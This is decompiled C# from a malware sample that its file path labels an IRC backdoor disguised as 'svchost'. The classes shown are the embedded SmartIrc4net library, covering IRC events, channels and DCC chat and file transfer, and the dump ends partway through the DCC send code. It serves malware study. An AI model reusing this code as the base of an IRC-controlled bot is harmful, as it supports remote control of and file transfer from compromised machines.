// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace Meebey.SmartIrc4net
{
public class AutoConnectErrorEventArgs : EventArgs
{
private Exception _Exception;
private string _Address;
private int _Port;
public Exception Exception => this._Exception;
public string Address => this._Address;
public int Port => this._Port;
internal AutoConnectErrorEventArgs(string address, int port, Exception ex)
{
this._Address = address;
this._Port = port;
this._Exception = ex;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.AutoConnectErrorEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void AutoConnectErrorEventHandler(object sender, AutoConnectErrorEventArgs e);
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.AwayEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class AwayEventArgs : IrcEventArgs
{
private string _Who;
private string _AwayMessage;
public string Who => this._Who;
public string AwayMessage => this._AwayMessage;
internal AwayEventArgs(IrcMessageData data, string who, string awaymessage)
: base(data)
{
this._Who = who;
this._AwayMessage = awaymessage;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.AwayEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void AwayEventHandler(object sender, AwayEventArgs e);
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.BanEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class BanEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Hostmask;
public string Channel => this._Channel;
public string Who => this._Who;
public string Hostmask => this._Hostmask;
internal BanEventArgs(IrcMessageData data, string channel, string who, string hostmask)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Hostmask = hostmask;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.BanEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void BanEventHandler(object sender, BanEventArgs e);
}

View File

@ -0,0 +1,28 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.BanInfo
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class BanInfo
{
private string f_Channel;
private string f_Mask;
public string Channel => this.f_Channel;
public string Mask => this.f_Mask;
private BanInfo()
{
}
public static BanInfo Parse(IrcMessageData data) => new BanInfo()
{
f_Channel = data.RawMessageArray[3],
f_Mask = data.RawMessageArray[4]
};
}
}

View File

@ -0,0 +1,95 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.Channel
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Collections;
using System.Collections.Specialized;
namespace Meebey.SmartIrc4net
{
public class Channel
{
private string _Name;
private string _Key = string.Empty;
private Hashtable _Users = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
private Hashtable _Ops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
private Hashtable _Voices = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
private StringCollection _Bans = new StringCollection();
private string _Topic = string.Empty;
private int _UserLimit;
private string _Mode = string.Empty;
private DateTime _ActiveSyncStart;
private DateTime _ActiveSyncStop;
private TimeSpan _ActiveSyncTime;
private bool _IsSycned;
internal Channel(string name)
{
this._Name = name;
this._ActiveSyncStart = DateTime.Now;
}
public string Name => this._Name;
public string Key
{
get => this._Key;
set => this._Key = value;
}
public Hashtable Users => (Hashtable) this._Users.Clone();
internal Hashtable UnsafeUsers => this._Users;
public Hashtable Ops => (Hashtable) this._Ops.Clone();
internal Hashtable UnsafeOps => this._Ops;
public Hashtable Voices => (Hashtable) this._Voices.Clone();
internal Hashtable UnsafeVoices => this._Voices;
public StringCollection Bans => this._Bans;
public string Topic
{
get => this._Topic;
set => this._Topic = value;
}
public int UserLimit
{
get => this._UserLimit;
set => this._UserLimit = value;
}
public string Mode
{
get => this._Mode;
set => this._Mode = value;
}
public DateTime ActiveSyncStart => this._ActiveSyncStart;
public DateTime ActiveSyncStop
{
get => this._ActiveSyncStop;
set
{
this._ActiveSyncStop = value;
this._ActiveSyncTime = this._ActiveSyncStop.Subtract(this._ActiveSyncStart);
}
}
public TimeSpan ActiveSyncTime => this._ActiveSyncTime;
public bool IsSycned
{
get => this._IsSycned;
set => this._IsSycned = value;
}
}
}

View File

@ -0,0 +1,28 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ChannelInfo
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class ChannelInfo
{
private string f_Channel;
private int f_UserCount;
private string f_Topic;
public string Channel => this.f_Channel;
public int UserCount => this.f_UserCount;
public string Topic => this.f_Topic;
internal ChannelInfo(string channel, int userCount, string topic)
{
this.f_Channel = channel;
this.f_UserCount = userCount;
this.f_Topic = topic;
}
}
}

View File

@ -0,0 +1,56 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ChannelUser
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class ChannelUser
{
private string _Channel;
private IrcUser _IrcUser;
private bool _IsOp;
private bool _IsVoice;
internal ChannelUser(string channel, IrcUser ircuser)
{
this._Channel = channel;
this._IrcUser = ircuser;
}
public string Channel => this._Channel;
public bool IsIrcOp => this._IrcUser.IsIrcOp;
public bool IsOp
{
get => this._IsOp;
set => this._IsOp = value;
}
public bool IsVoice
{
get => this._IsVoice;
set => this._IsVoice = value;
}
public bool IsAway => this._IrcUser.IsAway;
public IrcUser IrcUser => this._IrcUser;
public string Nick => this._IrcUser.Nick;
public string Ident => this._IrcUser.Ident;
public string Host => this._IrcUser.Host;
public string Realname => this._IrcUser.Realname;
public string Server => this._IrcUser.Server;
public int HopCount => this._IrcUser.HopCount;
public string[] JoinedChannels => this._IrcUser.JoinedChannels;
}
}

View File

@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ConnectionException
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Runtime.Serialization;
namespace Meebey.SmartIrc4net
{
[Serializable]
public class ConnectionException : SmartIrc4netException
{
public ConnectionException()
{
}
public ConnectionException(string message)
: base(message)
{
}
public ConnectionException(string message, Exception e)
: base(message, e)
{
}
protected ConnectionException(SerializationInfo info, StreamingContext context)
: base(info, context)
{
}
}
}

View File

@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.CouldNotConnectException
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Runtime.Serialization;
namespace Meebey.SmartIrc4net
{
[Serializable]
public class CouldNotConnectException : ConnectionException
{
public CouldNotConnectException()
{
}
public CouldNotConnectException(string message)
: base(message)
{
}
public CouldNotConnectException(string message, Exception e)
: base(message, e)
{
}
protected CouldNotConnectException(SerializationInfo info, StreamingContext context)
: base(info, context)
{
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.CtcpDelegate
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void CtcpDelegate(CtcpEventArgs eventArgs);
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.CtcpEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class CtcpEventArgs : IrcEventArgs
{
private string _CtcpCommand;
private string _CtcpParameter;
public string CtcpCommand => this._CtcpCommand;
public string CtcpParameter => this._CtcpParameter;
internal CtcpEventArgs(IrcMessageData data, string ctcpcmd, string ctcpparam)
: base(data)
{
this._CtcpCommand = ctcpcmd;
this._CtcpParameter = ctcpparam;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.CtcpEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void CtcpEventHandler(object sender, CtcpEventArgs e);
}

View File

@ -0,0 +1,152 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccChat
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace Meebey.SmartIrc4net
{
public class DccChat : DccConnection
{
private StreamReader _sr;
private StreamWriter _sw;
private int _lines;
public int Lines => this._lines;
internal DccChat(
IrcFeatures irc,
string user,
IPAddress externalIpAdress,
bool passive,
Priority priority)
{
this.Irc = irc;
this.ExternalIPAdress = externalIpAdress;
this.User = user;
if (passive)
{
irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) this.session, priority);
this.Disconnect();
}
else
{
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
this.DccServer.Start();
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port, priority);
}
}
internal DccChat(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
{
this.Irc = irc;
this.ExternalIPAdress = externalIpAdress;
this.User = e.Data.Nick;
if (e.Data.MessageArray.Length > 4)
{
long result1;
bool flag1 = long.TryParse(e.Data.MessageArray[3], out result1);
int result2;
bool flag2 = int.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result2);
if (e.Data.MessageArray[2] == "chat" && flag1 && flag2)
{
this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result1)), result2);
if (e.Data.MessageArray.Length > 5 && e.Data.MessageArray[5] != "T")
{
this.AcceptRequest();
return;
}
this.DccChatRequestEvent(new DccEventArgs((DccConnection) this));
return;
}
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat Parameter Error");
}
else
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat not enough parameters");
this.isValid = false;
}
internal override void InitWork(object stateInfo)
{
if (!this.Valid)
return;
if (this.DccServer != null)
{
this.Connection = this.DccServer.AcceptTcpClient();
this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
this.DccServer.Stop();
this.isConnected = true;
}
else
{
while (!this.isConnected)
{
Thread.Sleep(500);
if (this.reject)
{
this.isValid = false;
return;
}
}
}
this.DccChatStartEvent(new DccEventArgs((DccConnection) this));
this._sr = new StreamReader((Stream) this.Connection.GetStream(), this.Irc.Encoding);
this._sw = new StreamWriter((Stream) this.Connection.GetStream(), this.Irc.Encoding);
this._sw.AutoFlush = true;
string messageLine;
while ((messageLine = this._sr.ReadLine()) != null && this.isConnected)
{
this.DccChatReceiveLineEvent(new DccChatEventArgs((DccConnection) this, messageLine));
++this._lines;
}
this.isValid = false;
this.isConnected = false;
this.DccChatStopEvent(new DccEventArgs((DccConnection) this));
}
public bool AcceptRequest()
{
if (this.isConnected)
return false;
try
{
if (this.RemoteEndPoint.Port == 0)
{
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
this.DccServer.Start();
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC CHAT chat " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port);
}
else
{
this.Connection = new TcpClient();
this.Connection.Connect(this.RemoteEndPoint);
this.isConnected = true;
}
return true;
}
catch (Exception ex)
{
this.isValid = false;
this.isConnected = false;
return false;
}
}
public void WriteLine(string message)
{
if (!this.isConnected)
throw new NotConnectedException("DCC Chat is not Connected");
this._sw.WriteLine(message);
++this._lines;
this.DccChatSentLineEvent(new DccChatEventArgs((DccConnection) this, message));
}
}
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccChatEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class DccChatEventArgs : DccEventArgs
{
private string _Message;
private string[] _MessageArray;
public string Message => this._Message;
public string[] MessageArray => this._MessageArray;
internal DccChatEventArgs(DccConnection dcc, string messageLine)
: base(dcc)
{
this._Message = messageLine;
this._MessageArray = messageLine.Split(' ');
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccChatLineHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DccChatLineHandler(object sender, DccChatEventArgs e);
}

View File

@ -0,0 +1,193 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccConnection
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Net;
using System.Net.Sockets;
namespace Meebey.SmartIrc4net
{
public class DccConnection
{
protected IrcFeatures Irc;
protected TcpListener DccServer;
protected TcpClient Connection;
protected IPEndPoint LocalEndPoint;
protected IPEndPoint RemoteEndPoint;
protected IPAddress ExternalIPAdress;
protected DateTime Timeout;
protected string User;
protected bool isConnected;
protected bool isValid = true;
protected bool reject;
protected long session;
public bool Connected => this.isConnected;
public bool Valid
{
get
{
if (!this.isValid)
return false;
return this.isConnected || DateTime.Now < this.Timeout;
}
}
public string Nick => this.User;
public event DccConnectionHandler OnDccChatRequestEvent;
protected virtual void DccChatRequestEvent(DccEventArgs e)
{
if (this.OnDccChatRequestEvent != null)
this.OnDccChatRequestEvent((object) this, e);
this.Irc.DccChatRequestEvent(e);
}
public event DccSendRequestHandler OnDccSendRequestEvent;
protected virtual void DccSendRequestEvent(DccSendRequestEventArgs e)
{
if (this.OnDccSendRequestEvent != null)
this.OnDccSendRequestEvent((object) this, e);
this.Irc.DccSendRequestEvent(e);
}
public event DccConnectionHandler OnDccChatStartEvent;
protected virtual void DccChatStartEvent(DccEventArgs e)
{
if (this.OnDccChatStartEvent != null)
this.OnDccChatStartEvent((object) this, e);
this.Irc.DccChatStartEvent(e);
}
public event DccConnectionHandler OnDccSendStartEvent;
protected virtual void DccSendStartEvent(DccEventArgs e)
{
if (this.OnDccSendStartEvent != null)
this.OnDccSendStartEvent((object) this, e);
this.Irc.DccSendStartEvent(e);
}
public event DccChatLineHandler OnDccChatReceiveLineEvent;
protected virtual void DccChatReceiveLineEvent(DccChatEventArgs e)
{
if (this.OnDccChatReceiveLineEvent != null)
this.OnDccChatReceiveLineEvent((object) this, e);
this.Irc.DccChatReceiveLineEvent(e);
}
public event DccSendPacketHandler OnDccSendReceiveBlockEvent;
protected virtual void DccSendReceiveBlockEvent(DccSendEventArgs e)
{
if (this.OnDccSendReceiveBlockEvent != null)
this.OnDccSendReceiveBlockEvent((object) this, e);
this.Irc.DccSendReceiveBlockEvent(e);
}
public event DccChatLineHandler OnDccChatSentLineEvent;
protected virtual void DccChatSentLineEvent(DccChatEventArgs e)
{
if (this.OnDccChatSentLineEvent != null)
this.OnDccChatSentLineEvent((object) this, e);
this.Irc.DccChatSentLineEvent(e);
}
public event DccSendPacketHandler OnDccSendSentBlockEvent;
protected virtual void DccSendSentBlockEvent(DccSendEventArgs e)
{
if (this.OnDccSendSentBlockEvent != null)
this.OnDccSendSentBlockEvent((object) this, e);
this.Irc.DccSendSentBlockEvent(e);
}
public event DccConnectionHandler OnDccChatStopEvent;
protected virtual void DccChatStopEvent(DccEventArgs e)
{
if (this.OnDccChatStopEvent != null)
this.OnDccChatStopEvent((object) this, e);
this.Irc.DccChatStopEvent(e);
}
public event DccConnectionHandler OnDccSendStopEvent;
protected virtual void DccSendStopEvent(DccEventArgs e)
{
if (this.OnDccSendStopEvent != null)
this.OnDccSendStopEvent((object) this, e);
this.Irc.DccSendStopEvent(e);
}
internal DccConnection()
{
this.session = DccConnection.Session.Next;
this.Timeout = DateTime.Now.AddSeconds(120.0);
}
internal virtual void InitWork(object stateInfo) => throw new NotSupportedException();
internal bool isSession(long session) => session == this.session;
public void RejectRequest()
{
this.Irc.SendMessage(SendType.CtcpReply, this.User, "ERRMSG DCC Rejected");
this.reject = true;
this.isValid = false;
}
public void Disconnect()
{
this.isConnected = false;
this.isValid = false;
}
public override string ToString() => "DCC Session " + (object) this.session + " of " + this.GetType().ToString() + " is " + (this.isConnected ? (object) ("connected to " + this.RemoteEndPoint.Address.ToString()) : (object) "not connected") + "[" + this.User + "]";
protected long HostToDccInt(IPAddress ip) => (ip.Address & (long) byte.MaxValue) << 24 | (ip.Address & 65280L) << 8 | ip.Address >> 8 & 65280L | ip.Address >> 24 & (long) byte.MaxValue;
protected string DccIntToHost(long ip)
{
IPEndPoint ipEndPoint = new IPEndPoint(ip, 80);
char[] chArray = new char[1]{ '.' };
string[] strArray = ipEndPoint.Address.ToString().Split(chArray);
return strArray[3] + "." + strArray[2] + "." + strArray[1] + "." + strArray[0];
}
protected byte[] getAck(long SentBytes) => new byte[4]
{
(byte) ((ulong) (SentBytes >> 24) % 256UL),
(byte) ((ulong) (SentBytes >> 16) % 256UL),
(byte) ((ulong) (SentBytes >> 8) % 256UL),
(byte) ((ulong) SentBytes % 256UL)
};
protected string FilterMarker(string msg)
{
string str = "";
foreach (char ch in msg)
{
if (ch != '\u0001')
str += (string) (object) ch;
}
return str;
}
private class Session
{
private static long next;
internal static long Next => ++DccConnection.Session.next;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccConnectionHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void DccConnectionHandler(object sender, DccEventArgs e);
}

View File

@ -0,0 +1,19 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace Meebey.SmartIrc4net
{
public class DccEventArgs : EventArgs
{
private DccConnection _dcc;
public DccConnection dcc => this._dcc;
internal DccEventArgs(DccConnection dcc) => this._dcc = dcc;
}
}

View File

@ -0,0 +1,252 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSend
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace Meebey.SmartIrc4net
{
public class DccSend : DccConnection
{
private Stream _File;
private long _Filesize;
private string _Filename;
private bool _DirectionUp;
private long _SentBytes;
private DccSpeed _Speed;
private byte[] _Buffer = new byte[8192];
public long SentBytes => this._SentBytes;
internal DccSend(
IrcFeatures irc,
string user,
IPAddress externalIpAdress,
Stream file,
string filename,
long filesize,
DccSpeed speed,
bool passive,
Priority priority)
{
this.Irc = irc;
this._DirectionUp = true;
this._File = file;
this._Filesize = filesize;
this._Filename = filename;
this._Speed = speed;
this.User = user;
if (passive)
{
irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) filesize + " " + (object) this.session, priority);
}
else
{
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
this.DccServer.Start();
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) filesize, priority);
}
}
internal DccSend(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
{
this.Irc = irc;
this._DirectionUp = false;
this.User = e.Data.Nick;
if (e.Data.MessageArray.Length > 4)
{
long result1 = 0;
int result2 = 0;
long result3;
bool flag1 = long.TryParse(e.Data.MessageArray[3], out result3);
bool flag2 = int.TryParse(e.Data.MessageArray[4], out result2);
if (e.Data.MessageArray.Length > 5)
{
long.TryParse(this.FilterMarker(e.Data.MessageArray[5]), out result1);
this._Filesize = result1;
this._Filename = e.Data.MessageArray[2].Trim('"');
}
if (flag1 && flag2)
{
this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result3)), result2);
this.DccSendRequestEvent(new DccSendRequestEventArgs((DccConnection) this, e.Data.MessageArray[2], result1));
}
else
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send Parameter Error");
}
else
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send not enough parameters");
}
internal override void InitWork(object stateInfo)
{
if (!this.Valid)
return;
if (this.DccServer != null)
{
this.Connection = this.DccServer.AcceptTcpClient();
this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
this.DccServer.Stop();
this.isConnected = true;
}
else
{
while (!this.isConnected)
{
Thread.Sleep(500);
if (this.reject)
return;
}
}
this.DccSendStartEvent(new DccEventArgs((DccConnection) this));
if (this._DirectionUp)
{
int num;
do
{
while (this.Connection.Available > 0)
{
switch (this._Speed)
{
case DccSpeed.Rfc:
this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
continue;
case DccSpeed.RfcSendAhead:
this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
continue;
default:
continue;
}
}
num = this._File.Read(this._Buffer, 0, this._Buffer.Length);
try
{
this.Connection.GetStream().Write(this._Buffer, 0, num);
}
catch (IOException ex)
{
num = 0;
}
this._SentBytes += (long) num;
if (num > 0)
{
this.DccSendSentBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
Console.Write(".");
}
}
while (num > 0);
}
else
{
int num;
while ((num = this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length)) > 0)
{
this._File.Write(this._Buffer, 0, num);
this._SentBytes += (long) num;
if (this._Speed != DccSpeed.Turbo)
this.Connection.GetStream().Write(this.getAck(this._SentBytes), 0, 4);
this.DccSendReceiveBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
}
}
this.isValid = false;
this.isConnected = false;
Console.WriteLine("--> Filetrangsfer Endet / Bytes sent: " + (object) this._SentBytes + " of " + (object) this._Filesize);
this.DccSendStopEvent(new DccEventArgs((DccConnection) this));
}
public bool AcceptRequest(Stream file, long offset)
{
if (this.isConnected)
return false;
try
{
if (file != null)
this._File = file;
if (this.RemoteEndPoint.Port == 0)
{
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
this.DccServer.Start();
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC SEND \"" + this._Filename + "\" " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) this._Filesize);
}
else if (offset == 0L)
{
this.Connection = new TcpClient();
this.Connection.Connect(this.RemoteEndPoint);
this.isConnected = true;
}
